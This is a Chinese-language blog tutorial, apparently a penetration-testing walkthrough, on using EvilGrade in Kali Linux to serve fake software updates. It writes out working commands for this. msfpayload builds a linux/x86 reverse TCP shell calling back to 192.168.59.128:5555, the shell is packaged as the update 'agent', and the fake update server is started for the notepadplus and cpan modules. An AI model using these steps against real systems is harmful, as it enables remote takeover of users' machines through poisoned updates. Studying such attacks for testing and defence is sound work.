使用EvilGrade注入假更新

通常软甲更新过程:
软件开始更新过程,然后尝试从dns服务器获取IP信息(例如update.notepadplus.com)。dns返回响应信息。软件从update.app1.com获取lastupdate.xml文件分析是否有更新。如果有,则安装之。

[img]http://dl2.iteye.com/upload/attachment/0101/8853/98f8dc50-88e5-3ef1-952b-1b0c83eaf4b3.png[/img]

kali中配置的EvilGrade软件可以用于注入假软件更新。
[color=blue]1.root@kali:~# evilgrade[/color]
[DEBUG] - Loading module: modules/allmynotes.pm
[DEBUG] - Loading module: modules/amsn.pm
[DEBUG] - Loading module: modules/appleupdate.pm
...
_ _ _
(_) | | |
_____ ___| | __ _ _ __ __ _ __| | ___
/ _ \ \ / / | |/ _` | '__/ _` |/ _` |/ _ \
| __/\ V /| | | (_| | | | (_| | (_| | __/
\___| \_/ |_|_|\__, |_| \__,_|\__,_|\___|
__/ |
|___/
-------------------------------------------
--------------------- www.infobytesec.com
- 63 modules available.
[color=blue]2.运行help命令可以看到该软件很简单,另外evilgrade支持tab键补全功能。[/color]
[img]http://dl2.iteye.com/upload/attachment/0101/8857/151d8a07-2f9b-36d4-a0ed-1422c83913b9.jpg[/img]
[color=blue]3.配置使用cpan模块:[/color]
[img]http://dl2.iteye.com/upload/attachment/0101/8859/34396306-2bd9-3b6d-b13f-b56d282bb4be.jpg[/img]
注意VirtualHost是一个很重要的参数,它将会用于后门的攻击。
[color=blue]4.接下来设置agent参数,agent只不过是我们伪造的二进制文件。我们将设置它的存储位置,我们也可以设置一个动态的假的二进制更新文件。[/color]
方法一:在EvilGrade内创建:
evilgrade (notepadplus)>set agent ‘["/pentest/exploits/framework3/msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.59.128 LPORT=5555 X > <%OUT%>/tmp/notepadplus.exe<%OUT%>"]‘

[b][color=red]<%OUT%><%OUT>[/color][/b]标签用于指明输出二进制文件的位置。
方法二:在EvilGrade 使用msfpayload来生成
root@kali:~# msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.59.128 LPORT=5555 X > linux2
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell_reverse_tcp
Length: 68
Options: {"LHOST"=>"192.168.59.128", "LPORT"=>"5555"}

制作agent文件:
tar cf linux2.tar linux2
gzip linux2.tar
设置agent参数并开始运行:
evilgrade(cpan)>set agent /root/agent_perl.tar.gz
set agent, /root/agent_perl.tar.gz
evilgrade(cpan)>start
更多详细资料,参考http://resources.infosecinstitute.com/hacking-autoupdate-evilgrade/
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值